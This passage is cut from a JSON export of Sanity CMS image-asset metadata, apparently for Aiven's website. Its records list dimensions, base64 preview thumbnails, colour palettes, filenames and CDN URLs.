fHXBVMexfMK5uFlDlOihyGqv5w4fOkbhOiuRzr/0K518vCFzecFSzn7b1e297hO4XYAYjWA+KmRHwMnsagbaybtg+MLIiTUPjxihcWT64ZXX9GG5YtxZKgQU39mvwNAsWgSAoTAhCHyhsdB+4p9nON04U4sKOsYCTGG7CkXUUTN55UOVvuekfPnZdBAf6GEKEFcKGq8ESihNqaT4XbNdKeN+/J4EeiRRExKlZFNz3W6y+dwU39zH3NjO73cz2Dubbd1n0+7m/v597e3vh9XqhaRr7fD72aRr3e3qFXm9VsWtfNk9fHI8Jkwmr8kJACdZCK9oPAO4m5roq5oMmxkkz97Xacf3aNVRXV8NisaC+vh41P/7ItRYLN9ts8FTV9PBHxSWYlzYRF84QDh4OAvNe5cYN59H+dQB3VPAP3zDv3cYoM8JdW8fVVVU4dvw4zpjNOHXqFFdWVuK02cyWy5fhOnNhgP+64xgS0mZ6aUwEgq8aK3nPwFr4MbeVOth9VXCbwqz8wGi8wr6OdrQ7HNzS2gqHwwG73Y7W1lZ2OBzc1d4B7eQ5nd/efAYzl8zVn0uJRPiztT6Gre/NQptpD7wtTQhofgT8HBTrOuuDEkJACMFC1yGYWbjugUuP+Dl9bQVPWTSdPyyLEGgmEgChPmc43yp/nrXOImbRxIAevuJQkoQSaDBvwjcdCDDqGoCNH7uRmP4ZT/7j08HV8dwkIk/PHTp7U1B3T+cj3R7fNK2vb5/o77sNEXiQ0A9rYIC5qYm5eK/w/9mg9L641OCZnT7qxFSZul7MIDp76RIBP6P4T0BHa33xt2yNiwdaaw+z85qLe7rAmhfs18A+L7jLCa69BBTvFuKNle1dictLKhZ++MLLmS0jYt/Vaf+iPURJJaBhO0GfHbkescakx5w4WDnubvnOpf5jnx7gs/tv4GK5FxeP6jAfEjDuCfDmvG5kpFp5QeLelpffSFn2Ws3E2Bw8MT5Li5lg8BHllIFyy5hko5uySxHz1pfdo77b8en4zqL0lwLbkt/nomVlvCX9HOenVvHqhaf51Tl7+fezszEvYdateRnPblly+KkpbzrHjsvqHzE6B0QGE9MqI2ilEZRlFDGGMjy2qhRxez46NNrybtrPO7ISZtzNnLPoXsbcJa5l8xN9SbN/iYUzRvP8V0YEZv5pbMcLmeP/s2D76KTlahRtCwFBq00gg5GDNsZgFHHZJhH35jeITfsOI3NKOa6oWI3fubs6/oN/3Xzs9e8R1ZS8grrmZ0dgetIwTH1lJCbNeRRxRI4Zuf8PNBg5crUJ0VlGPfovX7qi879wRq8pE9GLKhE1x4yolG8RtW2XNQK/iaXO1Axqm72aqhMK6FDiLno71UyhxA4CQ1BjGDwEX2kCJZWDgn+uoOPDur4im/D0E8STlxKmphCmJhMmvUQts9bS/wC6FyGXXJfhtwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2d4c65","foreground":"#fff","population":0.05,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5e0709","foreground":"#fff","population":0.15,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fad374","foreground":"#000","population":7.97,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#dec5ca","foreground":"#000","population":0.18,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fad374","foreground":"#000","population":7.97,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5d68a4","foreground":"#fff","population":0.05,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f65b14","foreground":"#fff","population":0.45,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"aiven-observability-image-composition.png","path":"images/sczeoy4w/production/b357828063a07181ce53eacbe3af61d02e9a8a21-2500x3125.png","sha1hash":"b357828063a07181ce53eacbe3af61d02e9a8a21","size":163252,"uploadId":"tLxM6vhQaMqT12V2k1mJRf6sJlqLJg5b","url":"https://cdn.sanity.io/images/sczeoy4w/production/b357828063a07181ce53eacbe3af61d02e9a8a21-2500x3125.png"} {"_createdAt":"2022-12-15T13:50:35Z","_id":"image-b38e828faf7221cb872497df1a8d9bbd4cf05c01-1200x630-jpg","_rev":"9Egzsa98Nd8BilYvLi4taL","_type":"sanity.imageAsset","_updatedAt":"2022-12-15T13:50:35Z","assetId":"b38e828faf7221cb872497df1a8d9bbd4cf05c01","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MGP%Ivog*0$%#QcFIUivyDXn%gRPVrkCbc","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAMFBAf/xAAiEAABBAIBBAMAAAAAAAAAAAABAAIDBAUREhMUMUEhUXH/xAAWAQEBAQAAAAAAAAAAAAAAAAADAAL/xAAYEQADAQEAAAAAAAAAAAAAAAAAAhEBEv/aAAwDAQACEQMRAD8A7rfp5DlNKy5wiGyBvwEnF5aA13x951JwNgv8H8ViJo7l+9nf2VhixtMWZ3CuzkSBtTa3WQ0qrGpQpyGaEPcfkn16QntaGgBoACEoZ//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2d3c59","foreground":"#fff","population":0.51,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#08182b","foreground":"#fff","population":0.1,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f08d18","foreground":"#000","population":1.92,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a3cec4","foreground":"#000","population":0.03,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#facd6c","foreground":"#000","population":0.03,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#566ca6","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f08d18","foreground":"#000","population":1.92,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Sustainability_Social_Impact_page_meta_preview.jpg","path":"images/sczeoy4w/production/b38e828faf7221cb872497df1a8d9bbd4cf05c01-1200x630.jpg","sha1hash":"b38e828faf7221cb872497df1a8d9bbd4cf05c01","size":122706,"uploadId":"gOjNDejLhND6hyq1TQFtnX7pIQg2guz8","url":"https://cdn.sanity.io/images/sczeoy4w/production/b38e828faf7221cb872497df1a8d9bbd4cf05c01-1200x630.jpg"} {"_createdAt":"2022-06-15T20:01:33Z","_id":"image-b3b8df1c4a5e18a1883721907cd3b660daa8d38f-752x405-png","_rev":"cEPH2uRN58AU2lp9QO7YG9","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:14:57Z","assetId":"b3b8df1c4a5e18a1883721907cd3b660daa8d38f","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M5979HPqr;e70MNe%Lt7WXoI00Dhxv%g-n","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.85679012345679,"height":405,"width":752},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACU0lEQVQokR3N2VLaUACA4YBKkEVITvbtnORkIRsJSESQbSK0VexUHYuK3bACtfaqM73rjHd9gD5AH6BP2aHfxX/7E5lMhiTJQqFAkuRuniwVd6m9EgeqAkuJLC3ztCbQWAGuBvYN5shm2yYTQmBKtCZQBEmSCKEoirBhYEN3HdsxDU3iRY6WeaCKAEmMrTFNkxv5wjQSXgT8ocX6GsASTRSLxSiKxsfHB0mSJK3eUSdpxhgqEgcUAUCJMVU2MPieJ1621cVQm3eUSSjsY66mgs1ZVVXf9x3Hcd1aGPiubaoSL7CUzNNIZm3IhZg/dPjLtvI41hcD9WXIt0zWgwxRLBQ8zxsONkaj4fg4HfS6jXoQBe5BM2pFnodlWwWeSp3GwtcxWvSV1GViBFwVEBRFpWm6Xq2enp6Wy+V6vVqvlvefPjzcf1x9XpyfvQptZEh0bDAPE/P3Q/PXrT9rKwlmLZkiSqVSGIbT6XQ+v724OH99Np3Nru7mN3fzm9vrt5N06GLNUsAwUn++a/19nvz53n88cbs1UecrRC6X4zjOcZw4juv10PfcOKo3G3EjrjfieuA5GIqWwnR8eXEaPi+6P673L7o4MlgJlImdnR0AgKZpCCEIIUJQ1xE2dBMjHSpQ5pAIsESFOps24NXAnh7oiSVYMiUze0Q2m83n8+VyeW9j02q1Augqz1ASW4V81VHo2GD7gXzewe/T2qxvTWI1sXhPAwRBEJn/shuZra3s9vZWLrdd3M2xlYIuVELE9DzxTdu4n7jfzsIvJ8FN30rrSmJy/wCkPWoYGolAhAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#534429","foreground":"#fff","population":0.12,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#643609","foreground":"#fff","population":0.24,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b38956","foreground":"#fff","population":1.34,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c6c1b9","foreground":"#000","population":0.31,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eccf6f","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b38956","foreground":"#fff","population":1.34,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d49444","foreground":"#000","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"b3b8df1c4a5e18a1883721907cd3b660daa8d38f-752x405.png","path":"images/sczeoy4w/production/b3b8df1c4a5e18a1883721907cd3b660daa8d38f-752x405.png","sha1hash":"b3b8df1c4a5e18a1883721907cd3b660daa8d38f","size":130189,"uploadId":"bUEu3yE5zRLbGni8EahlsALQ39c4z9Sg","url":"https://cdn.sanity.io/images/sczeoy4w/production/b3b8df1c4a5e18a1883721907cd3b660daa8d38f-752x405.png"} {"_createdAt":"2023-10-10T13:58:44Z","_id":"image-b3c86f70eb302a0b609268e4fb7b277ee4f6341a-289x174-png","_rev":"08kGRAWxLoE1evFcQW3Qe7","_type":"sanity.imageAsset","_updatedAt":"2023-10-10T13:58:44Z","assetId":"b3c86f70eb302a0b609268e4fb7b277ee4f6341a","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MUR:4,O@v}tRx]#+tmiwkWa}~pxuM{ofM|","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.660919540229885,"height":174,"width":289},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB8UlEQVQokZWSa2/ScBTG+3H0o+g+im98q1GTaUw0E6ZzbE6mRli4LbuI2VYuww0TEVCo4pyjUAqMAWVtKb3/b126oXEajT45r87J75zkeQ7l/JeAQQQO8SUicI6tU/+KEeJAGx9WAO01g1cA7UH8xzFMfpXbGffHU0w0CeTDhveyfu2C4b1kb8+5MMYEYWzZQFY0aahqhgUhQghjfAYRjDFGGKqi/T5iTE/o1y8a3gnwZp6yAewJcpU7Ku9xiWz59XYhV/pWbXRqzW6j3eda/RrfrfHderN3wPJccVeOT5mhq3ZqBrcYShCVjcwH38tNj3998lHkxoMlj399IUT7glv+SHIxmnoeS/vDyWex9GxgIxClWaYI2l+w2HKASR12j5fWdiYfRm56Qncex+4/WZl6unZ3dvnWdPje/IovsPliOb0QTswFt27PRL2LryoHPASQEOwQQg1Her5cXaVzq3Qu+ZbJFvYyuQq9U4qnC5l3n4sM+2m/wXzl8kw1nioksqVOXzwzw3EcyrJAry+z3NE+26rz3Z4gibIqDVVRHikjXdMt3bAM01Z1UxAVUVZtAH/E58KDwbDZ7rP1TqPZG4iKbcPfkju1Hbt1evI7DBFSVUOURseiIsmqppkQoj+9yc+kCxM3Z4wQdnN1dW7333UCTP6Br9oaIioAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#303c5b","foreground":"#fff","population":0.52,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042853","foreground":"#fff","population":0.13,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f47322","foreground":"#fff","population":3.8,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ceaea4","foreground":"#000","population":0.09,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f4cca1","foreground":"#000","population":0.14,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#667eac","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f47322","foreground":"#fff","population":3.8,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"images.png","path":"images/sczeoy4w/production/b3c86f70eb302a0b609268e4fb7b277ee4f6341a-289x174.png","sha1hash":"b3c86f70eb302a0b609268e4fb7b277ee4f6341a","size":3055,"uploadId":"Fg7H39HAzCD8se4WSBIya4PRaoylv5YA","url":"https://cdn.sanity.io/images/sczeoy4w/production/b3c86f70eb302a0b609268e4fb7b277ee4f6341a-289x174.png"} {"_createdAt":"2023-02-02T13:11:30Z","_id":"image-b3f1411c7c6fac97cbf4ad777c7d1800785047df-934x622-png","_rev":"iop8tFFqgfe67JrEb4pT2D","_type":"sanity.imageAsset","_updatedAt":"2023-02-02T13:11:30Z","assetId":"b3f1411c7c6fac97cbf4ad777c7d1800785047df","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V6S?AODP9a%#x]?^IpMyV@oJX8tjk8VsRP^krXn$bvS#","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5016077170418007,"height":622,"width":934},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAIAAAAmMtkJAAAACXBIWXMAAAsTAAALEwEAmpwYAAABMUlEQVQokZWRXU/FIAyG9/9/pDcaN+YGOxToNzPsqPHC6PFNQ0jD05e2U4xpWdZlCSGEbdsR0d3PX9V790sTQIkx7Xs8jlsphZkfge+aWkOAknOptSERM5tZf0wTIufccsZasdbGTO7+KEysR6Z1LfOcQtgA4B/OrAoF5zk9PS0vzyHnbKbn2f+M/gFX2ra8vMa3NQGAqpz9MZjEALBsB26RYpKUvMDJdJr+XqJfsDaovG62BAvB59lD8JSsNVe777P3n0c4CTLdCu2p7cOZ9zjiOKhUHosTZlU1M/8e95qTFeSY2wEFSqtISIT8cZJ8waquaiLj8skPZ8IMODYsLMIq4ymrICuJiX66mZCMJKtfzte0jYsUUjJ3MUGl8UUWg+a5eePraR/9Ixk0wytz9fwOuKv5eBjw3AIAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#54544c","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#63202a","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#cd9ea4","foreground":"#000","population":0.2,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cd9ea4","foreground":"#000","population":0.2,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7cac","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a15464","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cf6c7a","foreground":"#fff","population":0.08,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"b3f1411c7c6fac97cbf4ad777c7d1800785047df-934x622.png","path":"images/sczeoy4w/production/b3f1411c7c6fac97cbf4ad777c7d1800785047df-934x622.png","sha1hash":"b3f1411c7c6fac97cbf4ad777c7d1800785047df","size":68576,"uploadId":"RyXGw4SYt3GaAmZvHJ53bi38JEeQc80W","url":"https://cdn.sanity.io/images/sczeoy4w/production/b3f1411c7c6fac97cbf4ad777c7d1800785047df-934x622.png"} {"_createdAt":"2024-07-10T12:30:40Z","_id":"image-b476b1dcf4c88b312d28c27e939ffae0a566155f-3446x2293-jpg","_rev":"ZgPiUE9lJ1tcRKuFnUe20D","_type":"sanity.imageAsset","_updatedAt":"2024-07-10T12:30:40Z","assetId":"b476b1dcf4c88b312d28c27e939ffae0a566155f","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"VjHetVoLE0R*M{.ToyV?f5jYEQR+oJoLkCRPaLoyWqWW","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5028347143480156,"height":2293,"width":3446},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAANABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAYFBwj/xAAiEAACAQQBBAMAAAAAAAAAAAABAgQAAwURBhITITFBUWH/xAAVAQEBAAAAAAAAAAAAAAAAAAABA//EAB4RAAEDBAMAAAAAAAAAAAAAAAEAAgMREhNCFCEx/9oADAMBAAIRAxEAPwBs4VMxNzARbzsbjFRsAeRUpkMnhUssUQu49qvsVmriXL50ZezpXQ/utU3RMxIVxMQsLg8a6vB391LPK3olU40ThUepvn5KC8lmRCAfgiiqoyXJ8osy4FvgDfrpFFN8h2RiaNV//9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#603d2f","foreground":"#fff","population":7.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3a2618","foreground":"#fff","population":3.06,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#603d2f","foreground":"#fff","population":7.04,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a6c3d7","foreground":"#000","population":6.38,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#deb49a","foreground":"#000","population":1.48,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#987f63","foreground":"#fff","population":5.1,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ca3c3c","foreground":"#fff","population":0.16,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Oktoberfest4.jpg","path":"images/sczeoy4w/production/b476b1dcf4c88b312d28c27e939ffae0a566155f-3446x2293.jpg","sha1hash":"b476b1dcf4c88b312d28c27e939ffae0a566155f","size":1071434,"uploadId":"IJpMKAbhvGyjKvq2HAF8EaWxLY5RrSv4","url":"https://cdn.sanity.io/images/sczeoy4w/production/b476b1dcf4c88b312d28c27e939ffae0a566155f-3446x2293.jpg"} {"_createdAt":"2022-09-16T12:26:20Z","_id":"image-b49c29dd3c3849bace097162b7b67a1ccd84b30b-1920x1080-jpg","_rev":"4pG2it9AJU1nJxbjoHfyv4","_type":"sanity.imageAsset","_updatedAt":"2022-09-16T12:26:20Z","assetId":"b49c29dd3c3849bace097162b7b67a1ccd84b30b","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M1R{#?8w008x00~qV?4-tkE100ROITtRI.","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":1080,"width":1920},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAMCBAj/xAAjEAABBAAEBwAAAAAAAAAAAAABAAIDEQQhIjEFEhMyM0Fy/8QAFQEBAQAAAAAAAAAAAAAAAAAAAAH/xAAVEQEBAAAAAAAAAAAAAAAAAAAAAf/aAAwDAQACEQMRAD8A0nw9kQikqNttG6fTAwaBmo4FoEUprcJtDlbki1TxkUfVGhvaPSE3H+YfIQiP/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#784166","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#88285e","foreground":"#fff","population":0.04,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#88285e","foreground":"#fff","population":0.04,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a6c4c7","foreground":"#000","population":0.03,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f971bc","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#547ca4","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bf2874","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"video-thumbnail-flink-integrations.jpeg","path":"images/sczeoy4w/production/b49c29dd3c3849bace097162b7b67a1ccd84b30b-1920x1080.jpg","sha1hash":"b49c29dd3c3849bace097162b7b67a1ccd84b30b","size":116593,"uploadId":"dW4VrqQskKzsUlKH8AowGbLEIvtPuQRM","url":"https://cdn.sanity.io/images/sczeoy4w/production/b49c29dd3c3849bace097162b7b67a1ccd84b30b-1920x1080.jpg"} {"_createdAt":"2023-08-29T12:56:40Z","_id":"image-b4a31a912278d627678f0840ce35dd6b69175d8a-1422x219-png","_rev":"dr2SSK1V56AXgVok9RWYln","_type":"sanity.imageAsset","_updatedAt":"2023-08-29T12:56:40Z","assetId":"b4a31a912278d627678f0840ce35dd6b69175d8a","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"4009jvfQfQfQfQ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":6.493150684931507,"height":219,"width":1422},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAADCAYAAACTWi8uAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAcklEQVQImTXOywoBABSE4W8rWZBL7pdkZSGiWIjkCbyAjUfw/jo1Fn/TOc2ZOfDABTNMMI9O0UMDLXTCCGus4l3k9r/3xQc3XKN3PLFDP+FV0sYSRxywxT5UcPm88cIZpxhLa94kpBuamcdhkO+qpIqHP3JkCVj9uLFQAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#040404","foreground":"#fff","population":101.29,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#040404","foreground":"#fff","population":101.29,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"logo-black-aiven-partner-placeholder.png","path":"images/sczeoy4w/production/b4a31a912278d627678f0840ce35dd6b69175d8a-1422x219.png","sha1hash":"b4a31a912278d627678f0840ce35dd6b69175d8a","size":12300,"uploadId":"sM2eg1dDqTo0CUS5cQQ1M1KazyEGBUFy","url":"https://cdn.sanity.io/images/sczeoy4w/production/b4a31a912278d627678f0840ce35dd6b69175d8a-1422x219.png"} {"_createdAt":"2024-03-05T16:13:51Z","_id":"image-b4a9bbb2537a21e733b4e87e32d7f16b303ad425-3840x2160-jpg","_rev":"wlmKp1TUxaN4Rr151IeRCY","_type":"sanity.imageAsset","_updatedAt":"2024-03-05T16:13:51Z","assetId":"b4a9bbb2537a21e733b4e87e32d7f16b303ad425","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MiFY_sRORPt6WA_4M{M_j?aet7NGM{WBa|","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":2160,"width":3840},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAQHBgj/xAAiEAABBAIBBAMAAAAAAAAAAAABAgMEBQAREgYHITETInH/xAAVAQEBAAAAAAAAAAAAAAAAAAACA//EABgRAAMBAQAAAAAAAAAAAAAAAAABAhES/9oADAMBAAIRAxEAPwBaumV/S2qxEopkN6I4DZJHs5pYHcxySw22meTyPxhfDyP3OdbOwlolxZKX1iQsEKXvyRiNXPlLt2WVPuFpa/snfg5WKcrA3Kp6Xy960ZM8iZMdddCQOSBsawyPWxLc90IJAJ37wynYOGf/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#6b3e3b","foreground":"#fff","population":0.15,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6d1e23","foreground":"#fff","population":0.13,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#98a9c4","foreground":"#000","population":8.02,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#98a9c4","foreground":"#000","population":8.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#adc2d8","foreground":"#000","population":3.92,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#677590","foreground":"#fff","population":7.55,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c43c4c","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"4th.jpg","path":"images/sczeoy4w/production/b4a9bbb2537a21e733b4e87e32d7f16b303ad425-3840x2160.jpg","sha1hash":"b4a9bbb2537a21e733b4e87e32d7f16b303ad425","size":3165603,"uploadId":"r42oIYd2IXYqXPHbxVB8DGceMzBIpTrD","url":"https://cdn.sanity.io/images/sczeoy4w/production/b4a9bbb2537a21e733b4e87e32d7f16b303ad425-3840x2160.jpg"} {"_createdAt":"2023-05-08T11:06:51Z","_id":"image-b4b586e93a3d32f2802d8ab0590d9288fc930b93-156x48-svg","_rev":"CehdQyS8z5lmiPrCUYH6Jq","_type":"sanity.imageAsset","_updatedAt":"2023-05-08T11:06:51Z","assetId":"b4b586e93a3d32f2802d8ab0590d9288fc930b93","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"DwHnsh|.NHF4s,xvw[oIbIbI","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.25,"height":48,"width":156},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAYAAADDl76dAAAACXBIWXMAAAsTAAALEwEAmpwYAAABfUlEQVQYlS2QzUuUARjEJzM/tg3LD0hIoiCkDFFIknTf500XFwxLNDEXkqJDXvsL+he6eu3w7O4s+H9I16KPZ91DBHXRQw4uQWC8+R5+MHOZGQaiXRCtKNqwaFdyXRCt/5Dl4ilnRz/y6XiltjcOb1/v9i+X4NEDjz549MOjAI+Lue6GaDdFmxGtLNqSaIloc6KVfjMt/eH8QpuPF9fqtbTLv1bgkcBjCh6z8FjM/Tw87sPjVhY4Ldq6aK9F2xbtkWgror08ZrrdYfL8B5erO/XdrYJ/2oG3XsBjHR6v4PEGHs/gsQyPszLRboj2ULQnav5fdycv2ThmWu0wWfnFyuq7xtuNsdr+Kry91OXfFuCxBo9NeDyAx114TMBjMgvM/hoSbUS0y9l3og2IdltMJ0+YjB2xPPGhUb23VX9/Df5zqNc/D8Pjas5A/mNGEWIKMYGaBu2VsoKMc6L1idYrpudFGzxhMvqXcz2nnEKHJaDWAuoHQPM70Dg4897CPw3P4IiJ6VNQAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2